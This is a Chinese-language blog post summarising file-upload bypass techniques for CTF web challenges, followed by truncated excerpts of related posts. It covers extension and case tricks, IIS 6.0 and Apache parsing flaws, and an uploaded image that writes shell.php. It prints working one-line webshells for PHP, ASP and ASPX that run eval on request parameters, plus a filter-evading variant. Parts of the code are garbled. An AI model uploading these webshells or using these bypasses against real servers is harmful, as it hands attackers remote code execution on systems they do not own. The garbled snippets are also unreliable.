檔案上傳的各種繞過姿勢

2021-10-22 15:18:25 字數 2425 閱讀 3671

做 ctf 的 web 方向常常遇到檔案上傳的題目,而且每題多少會有些不同。

於是蒐集一番總結起來學習一下。

前端會檢測字尾,可以先上傳乙個符合字尾的檔案,再用 burp 抓包修改檔案的內容以及字尾即可。

gif89a

<

?php @eval

($_get

['a'])

?>

jsp:jspx、jspf; asp:asa、cer、aspx;

php:php,php3,php4,php5,php7,phtml,pht,phps

可能存在大小寫繞過,如:asp、php 。

test.asp

test.asp(空格)

linux 下字尾名大小寫

中引用檔案內容的語法:

#php <?php include("上傳的txt檔案路徑"); ?>

#asp

#jsp or <%include file=「上傳的txt檔案路徑」%>

——

——目錄解析(6.0)

形式:www.***.com/xx.asp/xx.jpg

原理: 伺服器缺省會把.asp,.asa目錄下的檔案都解析成asp檔案。

檔案解析

形式:www.***.com/xx.asp;.jpg 原理:伺服器預設不解析;號後面的內容,因此xx.asp;.jpg便被解析成asp檔案了。

解析檔案型別

iis6.0 預設的可執行檔案除了asp還包含這三種 : /test.asa /test.cer /test.cdx

————

apache 解析檔案的規則是從右到左開始判斷解析,如果字尾名為不可識別檔案解析,就再往左判斷。比如 test.php.owf.rar 「.owf」和」.rar」 這兩種字尾是apache不可識別解析,apache就會把wooyun.php.owf.rar解析成php。

————

漏洞形式

另外一種手法:上傳乙個名字為test.jpg,以下內容的檔案。

<?phpfputs(fopen('shell.php','w'),'<?phpeval($_post[cmd])?>');?>

然後訪問test.jpg/.php,在這個目錄下就會生成一句話木馬shell.php。

**關於上傳檔案裡的內容,即一句話木馬

最簡單的一句話木馬:

<?php @eval

($_post

['aa'])

?>

php的**要寫在<?php ?>裡面,伺服器才能認出來這是php**,然後才去解析。

@符號的意思是不報錯,即使執行錯誤,也不報錯,如果沒有@,就會報錯。

eval 就是執行命令的函式,把字串作為 php **執行。

eval() 語言結果是非常危險的,因為它允許執行任意 php **。

常見的一句話木馬:

php的一句話木馬: <

?php @eval

($_post

['pass'])

;?>

asp的一句話是: <

%eval

request

("pass")%

>

aspx的一句話是: <

%@ page language=

"jscript"

%>

<

%eval

(request.item[

"pass"],

"unsafe");

%>

一句話木馬的內容中 <?php 被過濾了,還可以換為如下內容:

"php"

>

@eval

($_post

['hacker'])

;<

/script>

檔案上傳繞過姿勢小結

檔案上傳漏洞是web安全中經常遇到的一種漏洞形式。檔案上傳,就是攻擊者上傳了乙個可執行檔案,木馬,病毒,惡意指令碼,webshell等到伺服器執行,並最終獲得 控制許可權的高危漏洞。下面結合學習的情況進行上傳繞過的簡單總結 burp抓包繞過,禁用瀏覽器js繞過,直接刪除瀏覽器的響應事件繞過 使用bu...

檔案上傳繞過姿勢小結

檔案上傳漏洞是web安全中經常遇到的一種漏洞形式。檔案上傳,就是攻擊者上傳了乙個可執行檔案,木馬,病毒,惡意指令碼,webshell等到伺服器執行,並最終獲得 控制許可權的高危漏洞。下面結合學習的情況進行上傳繞過的簡單總結 burp抓包繞過,禁用瀏覽器js繞過,直接刪除瀏覽器的響應事件繞過 使用bu...

SQL注入讀取檔案之各種繞過姿勢

回顯判斷注入點 確定過濾型別 各種繞過姿勢注入 注入要求 通過sql注入漏洞讀取 tmp 360 key檔案,答案就在檔案中。0x01滲透思路 進入答題後,顯示為使用select from article where id 1 提交表單後得到的資訊,已經知道id輸入的引數值為字元,不需要進行判斷 已...